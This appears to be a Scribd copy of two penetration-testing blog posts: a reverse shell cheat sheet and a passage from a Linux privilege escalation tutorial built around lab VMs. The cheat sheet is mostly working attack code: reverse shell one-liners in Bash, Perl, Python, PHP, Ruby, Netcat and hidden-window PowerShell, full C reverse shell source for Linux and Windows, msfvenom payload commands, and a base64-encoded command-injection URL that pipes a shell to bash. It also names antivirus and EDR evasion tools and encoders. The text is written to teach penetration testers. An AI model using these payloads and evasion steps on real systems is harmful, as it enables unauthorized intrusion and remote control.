0% found this document useful (0 votes)
89 views102 pages

Reverse Shell Guide for Hackers

network scanning tool

Uploaded by

miliontesfaye23
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
89 views102 pages

Reverse Shell Guide for Hackers

network scanning tool

Uploaded by

miliontesfaye23
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
You are on page 1/ 102

 COURSES

 BLOG
 RESOURCES







 SIGN IN

MEMBERSHIP

Reverse Shell Cheat Sheet 2024: A


Hacking Guide
June 11, 2024 / By Richard Dezso
Listen to the article
Are you searching for a complete reverse shell cheat sheet that
can strengthen your cybersecurity arsenal? You've come to the
right place.

This guide will be your one-stop for reverse shells by providing an


in-depth understanding of their workings across various
programming languages and techniques.

We will explore shells and the difference between a bind and a


reverse shell. We will walk you through one-liners, shell escapes,
compiled reverse shells, and obfuscation methods.

As a cybersecurity professional or enthusiast, you'll find this guide


invaluable. Throughout the article, we'll be with you every step of
the way, offering detailed explanations and insights to ensure a
thorough grasp of reverse shells.
So, without further delay, let's embark on this journey to master the
art of the reverse shell.

How Do Reverse Shells Work?


So, how do these shells work? This section will explain the general
concept of reverse shells and how to set up a listener to catch the
shell.

Shells

During a penetration test or while doing a CTF, when you discover


a remote command execution vulnerability, it's common to want to
establish a connection back to your attacking machine. This allows
you to gain a shell, take full advantage of the compromised
system, and interact with its file system, network, and other
resources as if you were sitting in front of the machine.

When it comes to ethical hacking and penetration testing, there are


two types of shells: a reverse shell and a bind shell.

A reverse shell is when the target machine connects back to the


attacker's machine, which is listening for a connection, allowing the
attacker to gain remote access to the target machine. On the other
hand, a bind shell is when the target machine listens for incoming
connections on a specified port, and the attacker machine
connects to it.
So which type of shell should you choose?

When bypassing firewalls and network restrictions, a bind shell can


be more difficult to set up because the attacker needs to find a port
on the target machine that is not blocked by the firewall.

In contrast, a reverse shell can be easier to set up, especially


during a penetration test. It only requires the attacker to open a
port on their machine and wait for the target's machine to connect.
This approach is more secure for the client, as an open port for a
bind shell could be spotted by a bad actor, potentially exposing the
client's system to unauthorized access.

Reverse shells are commonly used in penetration testing and


ethical hacking, and understanding how to create and use them is
essential.

Reverse Shell Command Generator

Say goodbye to the hassle of writing and modifying reverse shell


one-liners! With our Reverse Shell Command Generator, you can
simply say what language you want, and listening host and port
number you're using, and we will generate the command for you.

Generate

Setting up a Listener

Before the target machine can connect to you, you'll want to set up
a listener to listen for incoming connections.
This listener listens for incoming connections on the IP and the
port you specify. When the target system connects to the listener,
the attacker gains remote control over it.

The most popular way to set up a listener is with Netcat or


Metasploit via its multi-handler. We will show you how to set up a
listener in both.

Starting a listener in Netcat is easy. Let’s talk about what is


happening in the command below. First, we start Netcat with
the nc command and pass it the appropriate flags.

Let’s break it down.

-n tells Netcat not to perform DNS resolution on the incoming


connection from the target machine.

-v stands for verbose and will print out messages in the terminal,
such as when a connection is made.

-l tells Netcat to go into listening mode and listen for an incoming


connection.

-p tells Netcat to listen on the port we provide, in this case, port


4444.

In this command, Netcat will listen on any of your network


interfaces.
Start Your Cyber Security
Career with StationX

• 1000+ Classes & Virtual Labs


• Top Certification Prep
• Mentorship & Career Support
• Community Access
• Advanced Training & Networking

MEMBERSHIP →

00

DAYS
02

HRS

13

MINS

44

SECS

A listener in Metasploit takes only a few steps to start up. First, in


your terminal, type msfconsole -q (start msfconsole in quiet
mode.) Next, we must load the multi-handler. We can load it
using: use exploit/multi/handler.

Once loaded, we must set the options, such as the listening host
(the IP we want the target machine to connect to - in most cases,
our local Kali machine) and the listening port. Once our settings
are in place, we can type run and wait for an incoming connection.
We can also choose a payload but leave it as is for this example.
There are many payload types, which we will look at in more depth
In our section using MSFVenom.
Disclaimer:

The information provided in this blog post is intended for


educational and informational purposes only. The techniques and
methodologies discussed are designed to help security
professionals, system administrators, and penetration testers
improve their skills and understanding of reverse shell techniques.

Under no circumstances should the information in this post be


used for malicious intent or on systems where you do not have
explicit permission from the owner or administrator.

Unauthorized access or use of systems, networks, or data is illegal


and may result in criminal prosecution and/or civil liability under
applicable laws.

Reverse Shell One Liners


A reverse shell cheat sheet would only be complete with the actual
reverse shells.

Reverse shell one-liners are compact, single-line commands that


can establish a reverse shell. We can execute them on the target
system using various methods, such as remote command
execution, web shells, or injection vulnerabilities.

These one-liners are available in several programming languages


and can be adapted to different situations. Our reverse shell cheat
sheet includes the most popular ones.

Where you see <ip> and <port> in this section, this is the IP
address and port you want the target machine to connect to.

Bash

Bash is among the most popular shells available on nearly all


Unix-based systems. Here is an example of a Bash one-liner:
bash -i >& /dev/tcp/<ip>/<port> 0>&1

This BASH one-liner opens an interactive shell (-i) and redirects


the input, output, and error streams to a TCP socket (IP and port)
connected to the attacker's IP and port. The file descriptor 0>&1
links the input and output streams, permitting two-way
communication between the attacker and the target.

Perl

Perl is a powerful scripting language commonly used in system


administration. Here is an example of a Perl reverse shell one-
liner:

perl -e 'use Socket;$i="<ip>";


$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyna
me("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i
))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,"
>&S");exec("sh -i");};'

This Perl reverse shell establishes a TCP connection to the


attacker's IP and port, then links the standard input, output, and
error streams to the socket. Then it initiates a shell on the targeted
system once a connection is made.

Python

Python is a popular language for scripting and automation. Here


are two examples of a Python reverse shell:

Linux Only

python3 -c 'import socket, subprocess, os;


s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM); s.connect(("<ip>", <port>));
os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p=subprocess.call(["/bin/sh", "-i"]);'
Windows Only

python.exe -c "import
socket,os,threading,subprocess as
sp;p=sp.Popen(['cmd.exe'],stdin=sp.PIPE,stdout=sp.P
IPE,stderr=sp.STDOUT);s=socket.socket();s.connect((
'<ip>',<port>));threading.Thread(target=exec,args=(
\"while(True):o=os.read(p.stdout.fileno(),1024);s.s
end(o)\",globals()),daemon=True).start();threading.
Thread(target=exec,args=(\"while(True):i=s.recv(102
4);os.write(p.stdin.fileno(),i)\",globals())).start
()"

To run the above commands, you need to have Python installed.


Ensure you use the correct version of Python for your
environment. As of this writing, the current version is three.

These Python one-liners import necessary libraries, create a TCP


socket, connect it to the attacker's IP and port, and finally call a
shell on the target system.

The Linux one duplicates the file descriptors to redirect the


standard input, output, and error streams.

The Windows one uses multithreading (performing multiple tasks


simultaneously) to send the output from the shell process to the
connected server and receive commands from the server.

PHP

PHP is a server-side scripting language commonly used in web


development. Here is an example of a PHP reverse shell one-
liner:

php -r '$sock=fsockopen("<ip>",<port>);exec("sh <&3


>&3 2>&3");'
The PHP reverse shell one-liner opens a TCP socket and
connects it to the attacker's IP and port. It then executes a shell,
redirecting the input, output, and error streams to the socket.

Ruby

Ruby is a scripting language commonly used for web development


and system administration. Here is an example of a Ruby one-
liner:

ruby -rsocket -e'spawn("sh",


[:in,:out,:err]=>TCPSocket.new("<ip>",<port>))'

This Ruby one-liner creates a TCP socket, connects it to the


attacker's IP and port, and converts the file descriptor to an
integer. It then executes a shell and redirects the input, output, and
error streams to the socket.

Netcat

Netcat is a versatile networking tool for port scanning, file transfer,


and more. Here is an example of a Netcat reverse shell one-liner:

nc -c bash <ip> <port>

The Netcat one-liner connects to the attacker's IP and port,


launching a Bash shell on the target system. The input and output
are sent through the established connection, allowing the attacker
to control the shell remotely.

Start Your Cyber Security


Career with StationX

• 1000+ Classes & Virtual Labs


• Top Certification Prep
• Mentorship & Career Support
• Community Access
• Advanced Training & Networking

MEMBERSHIP →

00

DAYS

02

HRS

13

MINS

44

SECS

PowerShell

PowerShell is a task automation and configuration management


framework from Microsoft. Here is an example of a PowerShell
one-liner:

powershell -nop -W hidden -noni -ep bypass -c


"$TCPClient = New-Object
Net.Sockets.TCPClient('<ip>', <port>);
$NetworkStream = $TCPClient.GetStream();
$StreamWriter = New-Object
IO.StreamWriter($NetworkStream);function
WriteToStream ($String) {[byte[]]$script:Buffer =
0..$TCPClient.ReceiveBufferSize | % {0};
$StreamWriter.Write($String + 'SHELL> ');
$StreamWriter.Flush()}WriteToStream
'';while(($BytesRead = $NetworkStream.Read($Buffer,
0, $Buffer.Length)) -gt 0) {$Command =
([text.encoding]::UTF8).GetString($Buffer, 0,
$BytesRead - 1);$Output = try {Invoke-Expression
$Command 2>&1 | Out-String} catch {$_ | Out-
String}WriteToStream ($Output)}
$StreamWriter.Close()"

This PowerShell one-liner creates a TCP client and connects it to


the attacker's IP and port. It reads and executes commands the
attacker sends, capturing the output and sending it back through
the established connection. The listener on the attacker's side can
then interpret and display the output.

If you are looking for a PowerShell cheat sheet, we have a great


one, with our The Most Helpful PowerShell Cheat Sheet You’ll
Ever Find.

Shell Escapes
Next in our reverse shell cheat sheet are shell escapes, also
known as shell breakouts. These are techniques used to break out
of restricted shell environments (dumb shells), such as a shell
where the attacker is limited in what can be done, such as running
commands, like su and ssh, which require a proper terminal.
There may also be restrictions like the inability to properly use text
editors like Vim or tab-complete.

The following list includes some of the most commonly used shell
escapes.

Python Shell Escape

python3 -c 'import pty;pty.spawn("/bin/bash")'

This Python shell escape imports the 'pty' module and spawns an
interactive pseudo-terminal that can fool commands like su into
thinking they are being executed in a proper terminal. It can
escape restricted environments effectively.

Echo Shell Escape

echo os.system('/bin/bash')

The echo shell escape leverages the 'os.system()' function to


execute a Bash shell. It can be used when Python code execution
is possible, but direct shell access is restricted.

Simple Shell Escape

/bin/sh -i or /bin/bash -i

This simple shell escape executes an interactive shell on the target


system. It can be used when direct access to the shell is available,
but the environment is limited.

Perl Shell Escape

perl -e 'exec "/bin/bash";'

The Perl shell escape uses the 'exec' function to launch a Bash
shell. It is useful when Perl code execution is possible, but direct
shell access is restricted.

Compiled Reverse Shells


Compiled shells are binary programs executed directly on the
target system without an interpreter. They can be written in C or
C++ and compiled for the target platform. Compiled shells can be
more stealthy and harder to detect than one-liners or scripts, as
they can be disguised as legitimate executables or embedded
within other applications.

C Language Reverse Shell

Linux:

#include <stdio.h>
#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <arpa/inet.h>

int main(void) {

int sockfd;

int lportno = <port>;

struct sockaddr_in serv_addr;

char *const params[] = {"/bin/sh",NULL};

char *const environ[] = {NULL};

sockfd = socket(AF_INET, SOCK_STREAM,


IPPROTO_TCP);
serv_addr.sin_family = AF_INET;

serv_addr.sin_addr.s_addr = inet_addr("<ip>");

serv_addr.sin_port = htons(lportno);

connect(sockfd, (struct sockaddr *) &serv_addr,


16);

dup2(sockfd,0);

dup2(0,1);

dup2(0,2);

execve("/bin/sh",params,environ);

This C code creates a reverse shell by first establishing a TCP


socket and connecting it to the attacker's IP and port. It then
duplicates file descriptors to redirect the standard input, output,
and error streams to the socket. Finally, it launches a shell using
the 'execve' function.

Windows:

#include <winsock2.h>

#include <stdio.h>
#include <stdlib.h>

#include <string.h>

#pragma comment(lib,"ws2_32")

WSADATA wsaData;

SOCKET Winsock;

struct sockaddr_in hax;

char ip_addr[16] = "<ip>";

char port[6] = "<port>";

STARTUPINFO ini_processo;

PROCESS_INFORMATION processo_info;

int main()

WSAStartup(MAKEWORD(2, 2), &wsaData);

Winsock = WSASocket(AF_INET, SOCK_STREAM,


IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;

host = gethostbyname(ip_addr);

strncpy(ip_addr, inet_ntoa(*((struct in_addr


*)host->h_addr)), sizeof(ip_addr) - 1);

hax.sin_family = AF_INET;

hax.sin_port = htons(atoi(port));

hax.sin_addr.s_addr = inet_addr(ip_addr);

WSAConnect(Winsock, (SOCKADDR*)&hax,
sizeof(hax), NULL, NULL, NULL, NULL);

memset(&ini_processo, 0, sizeof(ini_processo));

ini_processo.cb = sizeof(ini_processo);

ini_processo.dwFlags = STARTF_USESTDHANDLES |
STARTF_USESHOWWINDOW;

ini_processo.hStdInput =
ini_processo.hStdOutput = ini_processo.hStdError =
(HANDLE)Winsock;

TCHAR cmd[255] = TEXT("cmd.exe");


CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0,
NULL, NULL, &ini_processo, &processo_info);

return 0;

This C code establishes a connection to a remote server using the


specified IP address and port number. Once connected, it opens a
command prompt (cmd.exe) and redirects its input, output, and
error streams to the established connection.

To use these two shells, compile the C code into a binary


executable and run it on the target system.

To compile the Linux reverse shell, install GCC if you haven't


already with sudo apt-get install build-essential

Next, save your file as linux_shell.c, then type the following in your
Linux command line, creating an executable called linux_shell that
you can run on the target machine.

gcc -o linux_shell linux_shell.c

To compile the Windows C shell code in Kali, ensure you install


MinGW-w64. You can install it with the following command. sudo
apt-get install mingw-w64

Save the file as windows_shell.c, and then in the Kali terminal,


type the following:

x86_64-w64-mingw32-gcc -o windows_shell.exe
windows_shell.c -lws2_32

This will create the Windows exe file you can transfer and run on
your target.

MSFVenom
MSFVenom is a powerful payload generation tool part of the
Metasploit Framework. It can generate reverse shell payloads in
various formats, including exe, elf, war, asp, and malicious DLL
files. Staged and non-staged are two types of payloads generated
by MSFVenom.

If you want a complete guide on Metasploit, check out our How to


Use Metasploit in Kali Linux: A Step-By-Step Tutorial.

Staged payloads comprise a small initial payload that downloads


and executes the full payload from the attacker's system. This
method is useful when size constraints are present. Non-staged
payloads contain the entire payload within a single file, making
them larger but more self-contained.

Staged Non-Staged

• Multi-step Execution • Single-step Execution


• Smaller size • Larger size
• Harder to detect • Easier to detect
• Enhanced functionality • Limited functionality
• Slower execution • Faster execution

Example: Example:
windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp
We will create one staged and one non-staged malicious dll
payload in MSFvenom. To generate a payload, we must open a
terminal and run MSFvenom. Here is a breakdown of how to
structure your payload.

Staged:

msfvenom -p windows/x64/meterpreter/reverse_tcp
LHOST=192.168.110.130 LPORT=443 -f dll >
myshell.dll

In the above command, we are initiating MSFvenom and telling it


we want to create a payload with the -p flag; next, we need to tell
it which payload we will use. There are over 500 different payloads
we can use. To see a list of payloads, type: msfvenom –list
payloads

If you want to narrow your search down to only list Windows X64
payloads, you can use the grep command. msfvenom –list
payloads | grep ‘Windows/X64’
Next, we tell it which host and port we will be listening on, defined
by the LHOST and LPORT options. Finally, we tell it which file type
we want our payload to use with the -f flag, and then we redirect
the payload into a file with the > option.

Once the payload is created, you will need to move it onto the
target system, and then once it’s been executed, your listener (in
this case, multi-handler) will pick up the connection and give you a
reverse shell to the system.
Non-Staged:

On the other hand, a non-staged payload contains fewer parts and


is much larger as the payload is sent at one time. The syntax for
creating the payload in MSFvenom is very similar. Whereas in the
staged payload, we would have
a / between meterpreter and reverse_tcp, in this case, we
include it together using an underscore.

msfvenom -p windows/x64/meterpreter_reverse_tcp
LHOST=192.168.110.130 LPORT=443 -f dll >
myshell2.dll
Obfuscation
Obfuscation is disguising or changing code to make it more difficult
to understand, analyze, or reverse engineer. In reverse shells,
obfuscation can help evade detection by security tools, such as
antivirus software, intrusion detection systems, and firewalls.

Original Code

python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET
,socket.SOCK_STREAM);s.connect(("192.168.110.130",4
43));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import
pty; pty.spawn("/bin/bash")'

Obfuscated Code (Base64)

cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M
7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC
5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgie2lwfSIse3BvcnR9K
Sk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmls
ZW5vKCksMSk7b3MuZHVwMihzLmZpbGVubygpLDIpO2ltcG9ydCB
wdHk7IHB0eS5zcGF3bigiL2Jpbi97c2hlbGx9Iikn

Here are a few ways you can obfuscate your shell below.

Base64
The most common way hackers obfuscate code is by using
Base64 encoding. We can obfuscate reverse shell code by
converting it into a string of ASCII characters. This encoded string
can then be decoded and executed on the target system.

Let’s use the Bash reverse shell one-liner below and a command
execution vulnerability in the URL handling of a web page as an
example.

bash -i >& /dev/tcp/<ip>/<port> 0>&1

We discover that we can inject arbitrary commands by


manipulating the file path parameter in the URL.

Let’s say we find a URL like https://example.com/view?


file=page.html;ls, that allows us to inject commands into the file
parameter such as ls. Then we may try and inject the bash
reverse shell but discover that it doesn't work because certain
characters in the one-liner are not allowed. This is where encoding
the reverse shell in Base64 comes into play.

The first step is to encode the reverse shell on your attacker


machine using the following:

echo "bash -i >& /dev/tcp/192.168.110.130/443 0>&1"


| base64

This will give you a Base64 encoded string representation of the


reverse shell.

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xMzAvNDQ
zIDA+JjEK

Next, we will append the URL with the following file path
parameter:

https://example.com/view?file=page.html;echo
%20"YmFzaCAtaSA
%2BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xMzAvNDQzIDA
%2BJjEK"%20|%20base64%20--decode%20|%20bash
When the server processes the URL, it will decode the URL-
encoded characters and execute the Bash one-liner—giving us a
connection back to our system.

Start Your Cyber Security


Career with StationX

• 1000+ Classes & Virtual Labs


• Top Certification Prep
• Mentorship & Career Support
• Community Access
• Advanced Training & Networking

MEMBERSHIP →

00

DAYS

02

HRS

13

MINS

43

SECS
Encode as HTML

Encoding reverse shell code as HTML entities can help bypass


certain security filters that may block or sanitize specific
characters. You may run into a scenario where Base64 will not
work but encoding as HTML entities will.

We can use the example above but will encode the Bash one-liner
using HTML entities this time.

bash -i >& /dev/tcp/192.168.110.130/443 0>&1

We recommend using CyberChef as it's a very efficient way of


encoding and decoding text.

bash -i &gt;&amp;
&sol;dev&sol;tcp&sol;192&period;168&period;110&peri
od;130&sol;443 0&gt;&amp;

This encoded one-liner can now be used in the URL parameter as


above.

AV EvasionTools

Various tools can obfuscate reverse shell code, such as Veil and
Shelter. These tools often employ multiple layers of obfuscation,
including encoding, encryption, and polymorphism, to make the
code more difficult to detect and analyze.

Some popular tools include:

 Freeze: Freeze is designed to create payloads that bypass Endpoint


Detection and Response (EDR) security measures, allowing for the
discreet execution of shellcode.
 Veil-Evasion: Veil is a tool created to produce Metasploit payloads
capable of evading common antivirus systems.
 Donut: Donut is a tool that allows running various file types, like
VBScript, JScript, EXE, DLL, and dotNET assemblies, directly in a
computer's memory to avoid detection by memory scanners.
 Evilgrade: Evilgrade is a flexible framework enabling users to exploit
weak update mechanisms by injecting fake updates into vulnerable
systems.
 Shellter: Shellter is a dynamic shellcode injection tool to insert
shellcode into native Windows applications (currently 32-bit.) It allows
users to utilize custom shellcode or generate it using a framework
like Metasploit.
Each tool works slightly differently, but they all transform the
payload somehow to make it harder to detect. This can include
adding junk code or changing the order of instructions.

MSFvenom Encoders

MSFvenom can generate payloads for you and help you encode
them to allow you to attempt to avoid detection. MSFvenom has
over forty built-in encoders. And you can see the full list by
typing msfvenom –list encoders in the command line.
Let’s run through an example encoding a dll payload using Shikata
Ga Nai.

We can encode our MSFvenom payloads on the command line


using the flag -e x86/shikata_ga_nai.
We can also have our code run through iterations (the number of
times to apply the encoder) to help disguise it from an anti-virus.
We do this with the -i command and the number of times we want
the code to be iterated.

Conclusion
Understanding reverse shells and their implementation in various
programming languages is crucial. While many reverse shell
options are available, choosing the one that best fits your needs is
important.

Consider the programming language you are most comfortable


with and your specific scenario. For example, use a PowerShell
reverse shell when dealing with a Windows system.
This article has provided a comprehensive reverse shell cheat
sheet covering one-liners, shell escapes, compiled shells, and
obfuscation techniques.

Finally, remember only to use what you've learned on systems you


have consent to test on.
Hands-on Penetration Testing Labs 4.0

4.8
★★★★★
Anatomy of a Cyber Attack: Beginner Hacking with Metasploit!

4.9
★★★★★
The Complete Red Team Ethical Hacking Course - Volume 1

4.8
★★★★★

FAQs
Is a reverse shell a backdoor?

A backdoor is a shellcode that enables you to use the reverse


shell. A backdoor is malware intended to provide unauthorized
access to a system. A reverse shell allows you to run commands
on a compromised system.

What’s the difference between a reverse shell and a bind


shell?

Can reverse shells be tracked?

62

SHARES

LinkedInXFacebook

Level Up in Cyber Security:


Join Our Membership Today!
MEMBERSHIP

Richard Dezso


Richard is a cyber security enthusiast, eJPT, and ICCA who loves discovering
new topics and never stops learning. In his home lab, he's always working on
sharpening his offensive cyber security skills. He shares helpful advice
through easy-to-understand blog posts that offer practical support for
everyone. Additionally, Richard is dedicated to raising awareness for mental
health. You can find Richard on LinkedIn, or to see his other projects, visit
his Linktree.

Related Articles

What Is a Blue Hat Hacker? Brief History


Read More »

ChatGPT for Hacking: Jailbreak Ethical Restrictions


Read More »
How to Pass CEH Exam on Your First Attempt in 2024
Read More »
Pentest+ vs CEH 2024: Which Certification Is Best for You?
Read More »

1 comments

Oldest
comments first

Chris

May 18, 2023

Thanks great write up

Vote: 0
Share

Reply to Chris
INFO
 Affiliates
 Legal Notices
 Privacy Policy
 Site Map
 Careers
 Contact
 Media
SECURITY ASSESSMENT
 Penetration Testing
 Vulnerability Scanning
 Build Reviews
 Source Code Review
 Social Engineering
CONSULTING
 Audit & Compliance
 Incident Response
 Security Architecture
 Risk Assessment
 Security Training
 Pro Bono Services
COPYRIGHT © 2024 STATIONX LTD. ALL RIGHTS RESERVED.

 00:0000:00
1

Linux Privilege Escalation
Techniques for Hacking
May 11, 2024 / By Richard Dezso

26
SHARES

Listen to the article


So you've found a foothold on a machine, and you're looking to get
root access. You might know the path to root but are unsure how
to make it all work, or you could be unsure where to even start
looking.

Well, you've come to the right place. This guide has plenty of
information on Linux privilege escalation techniques. We will show
you how to use both manual techniques and automated tools to
detect potential privilege escalation methods.

Whether through kernel exploits, service exploits, cron jobs, or


sudo permissions, we will show you examples of how to gain root
access via one of many methods.

So if you are ready to learn Linux privilege escalation techniques,


let’s start.

Understanding Privilege Escalation


Before we look at privilege escalation, let’s talk about root
privileges. In a Linux environment, the highest level of access is
termed "root."

A user with root privileges can perform any operation on the


system, such as read, write, or delete any file, stop or start
services, install or uninstall applications, and manage user
accounts.

Linux privilege escalation can be described as the following:

It is a process or technique that allows a user with lower-level


permissions to either horizontally switch to another user's
privileges on the same level or vertically escalate their privileges to
that of a root user.

This typically happens due to misconfigurations within the system


or by exploiting vulnerabilities in certain versions of services or the
kernel.

Privilege escalation is a crucial step in a penetration test or


when completing a CTF, as it gives you full control of the system,
allowing you to do some of the following:

 Bypass access controls


 Change passwords
 Create new users as a means of persistence
 Make changes to the software
Detection
We will show you how to find the kernel and sudo versions, display
the command line history, perform user and network enumeration,
look for cron jobs running with elevated privileges, or detect
potential misconfiguration via manual methods and automated
tools.

Manual

The manual enumeration in privilege escalation is a crucial


process involving a detailed, hands-on review of a system's
configuration and services. Manual enumeration can provide
deeper insights and allows for quieter testing.

There is a lot of enumeration that you can do once you gain a


foothold on a machine, and you should always gather as much
information as possible. We will show you how to do some
common enumeration on a machine.

Make note of all the information you gather, you never know what
will be useful.

Start Your Cyber Security


Career with StationX

• 1000+ Classes & Virtual Labs


• Top Certification Prep
• Mentorship & Career Support
• Community Access
• Advanced Training & Networking

MEMBERSHIP →
00

DAYS

02

HRS

08

MINS

07

SECS

Kernel Version

If you find a kernel version with an exploit available, you can use
this to gain a root shell. You can check the kernel version by using
the command uname -r.

If LSB modules are installed, you can check for the Linux version
with the command lsb_release -a. If not, you can check the
Linux version by using cat/proc/version
Sudo Version

As with the kernel version, the sudo version may also be


susceptible to an exploit depending on the version running. You
can check the sudo version by using the command sudo -V.

History

One of the first places you need to check is the command history
on the machine. You could find valuable information, such as
passwords. To check the history, simply type history in the
command line.
Cron Jobs

You can check for system-wide cronjobs set to run at specific


intervals, which may reveal some interesting information using the
command cat /etc/crontab.
Sudo

An effective strategy for an easy win when looking for Linux


privilege escalation is looking at what sudo permissions your user
currently has. This might reveal that you can run certain
commands as sudo. In the terminal, type sudo -l.
Check id

A good idea when first stepping into a new machine is to check


what groups your user is a part of. To check the id of your user in
the terminal, enter id.

Check Network Info

It’s always a great idea to do network enumeration once you have


a foothold on a machine. It will help you understand the lay of the
land. Checking to see if you are potentially dual-homed (multiple
network interfaces) will give you a better grasp on your next move.

This information can be crucial in understanding the network


topology and identifying potential routes or pivot points. To check
network information, you can use the command ip a.
If you want a great resource for Linux commands, see our Linux
Command Line Cheat Sheet.

Automated Tools

Automated tools are a great resource when performing


enumeration on a Linux machine. They do all the heavy lifting for
you, looking for privilege escalation vectors that can be
compromised.

LinEnum
LinEnum (Linux Enumeration) is a popular privilege escalation
tool. It is designed to display information about the Linux system
that could be used in identifying potential vulnerabilities,
misconfigurations, and privilege escalation opportunities.

LineEnum gathers information that includes user accounts, file


permissions, active processes, installed packages, network
configurations, scheduled cron jobs, system logs, version info, and
more.

LinPEAS
LinPEAS, also known as “Linux Privilege Escalation Awesome
Script,” is another popular tool that can help identify potential paths
to spawning a root shell. It can help find misconfigurations or
vulnerabilities that could be exploited to escalate privileges within a
Linux environment.

LinPEAS uses a color-coded system highlighting which privilege


escalation vectors have the best chance of working. The main
ones to pay attention to are red/yellow (95% a PE vector) and red
(you should look at it).

Pspy
Pspy is a command-line tool that allows you to spy on processes
running in a Linux system without needing root permissions.
Penetration testers and ethical hackers often use it to monitor the
activities of a system and identify potential vulnerabilities.

The tool is particularly useful for identifying processes running as


cron jobs or other scheduled tasks, often a target for privilege
escalation attacks. By identifying these processes, a tester can
find opportunities for exploiting misconfigurations or vulnerabilities
that could allow an attacker to gain higher privileges on the
system.

Linux Exploit Suggester


Linux Exploit Suggester is a Linux privilege escalation tool that
checks the machine for potential kernel exploits. This tool
calculates the likelihood of the exploit being successful using
“Highly Probable, Probable, Less Probable, and Unpropable”
scores.

Linux Smart Enumeration


Linux Smart Enumeration is another tool similar to LinPEAS. It's
designed to identify system vulnerabilities, misconfigurations, and
other potential routes for escalating privileges on a system.
However, LSE is known for its unique "levels" of checks, which
allow users to specify the depth of enumeration based on their
needs.

It has three levels of verbosity. By default, the system will display


the most critical security vulnerabilities. Executing Level 1 reveals
useful information that could assist you in escalating privileges.
Executing Level 2 will provide an extensive dump of all the system
data gathered.

Kernel Exploits
Kernel exploits are a type of vulnerability in the kernel of the Linux
operating system. These exploits take advantage of bugs or flaws
in the kernel's code. Various issues, such as buffer overflows,
could cause this. Obviously, this is most prevalent in older kernels
that have not been updated.

In practical terms, these exploits usually involve an attacker


executing code that triggers the identified bug. This execution
often leads to unexpected behavior by the kernel, allowing the
attacker's code to run with elevated privileges.

Let’s look at how to use a kernel exploit to elevate our privileges


and spawn a root shell. For this demo, we will use the Kioptrix
level 1.1 VM from VulnHub

Once we have established a shell on the machine, we can start


with manual enumeration. Let’s check the version of Linux running
and which kernel version is being used with the
command lsb_release -a.

As you can see from the screenshot above, this machine is


running CentOS with a kernel version of 2.6.9. Our next step is to
use searchsploit and look for an exploit with the following
command: searchsploit linux CentOS 2.6 privilege escalation.
Alternatively, you can check Exploit Database or do a Google
search with the kernel version. Always be cautious of running
random exploits on client systems, and make sure you understand
what the code is doing.

A few exploits match our information, but the exploit we will use is
9545.c. We must transfer this from Kali to our target machine and
compile it into an executable. If you want to read up on what this
exploit does and how it works, see Exploit Database for more
information.

Let’s start a Python server on our Kali machine and download the
exploit via wget on the Kioptrix machine. The following command
will start a Python server on port 8000. Ensure you start the server
in the same folder where the exploit is located.

python3 -m http.server
Next, we can use the wget command to download the exploit to
Kioptrix with the command:

wget http://192.168.56.103:8000/9545.c

Ensure you use the IP of the machine running the Python server.

Using the temp folder when downloading tools or scripts is always


a good idea due to its access, read and write permissions, and
low-security monitoring. Additionally, it helps with file cleanup as
files in this folder are often auto-deleted, reducing the chances of
leaving traces.

Let’s compile our exploit, change the file to an executable, then run
the exploit. Once complete, we will have root privileges. The
specific command for compiling exploits is often included as a
comment within the script itself.

We can compile this exploit by using: gcc 9545.c -o privesc.


Start Your Cyber Security
Career with StationX

• 1000+ Classes & Virtual Labs


• Top Certification Prep
• Mentorship & Career Support
• Community Access
• Advanced Training & Networking

MEMBERSHIP →

00

DAYS

02
HRS

08

MINS

07

SECS

Service Exploits
Service exploits leverage vulnerabilities in system or application
services. These services are background programs that offer
specific functionalities to other programs or users, with examples
including web servers, database servers, and email servers,
among others. A service with an exploitable vulnerability can allow
an attacker to elevate privileges.

The process of a service exploit involves the attacker manipulating


a vulnerability within a service to execute malicious code.
Depending on the specific vulnerability and the service involved,
successful exploitation results can vary significantly.

Let’s walk through leveraging a service exploit to root access via


the Raven 2 VM from VulnHub.

Once you have access to the machine via the reverse shell, it’s
time to do some enumeration and find any potential exploits.

We already have MySQL credentials that were located in the wp-


config file.

Let’s run LinPeas on the system and see if we can find any
privilege paths.

After reading through the output provided by LinPeas, we find that


MySQL is running as root.
Let’s check and see if any exploits are available for this version.

Great, we have a potential privilege escalation service exploit we


can use called udf_root. In essence, the exploit takes advantage of
UDFs (a User Defined Function is a piece of code that extends the
functionality of a MySQL server) in MySQL to execute system
commands with the privileges of the MySQL service, thereby
escalating our privileges on the system.

It does this by copying /bin/sh to the temp folder, setting the owner
to root, and then setting the SUID permissions on the /bin/sh
binary, giving us a root shell.

We need to Download the udf_root script from GitHub to our Kali


machine. We renamed ours ravenprivesc.py and then transferred it
to the target by starting a Python server in Kali and using wget to
download it to the Raven machine.
We need to provide the MySQL credentials found earlier to run the
script. Username: root and password: R@v3nSecurity.
And we are root.

Sudo Permissions
In Linux systems, sudo stands for "super user do." It's a command
that allows regular users to run certain commands with the security
privileges of the superuser (root). The main purpose of sudo is to
limit root privileges to only those moments when they are truly
necessary.
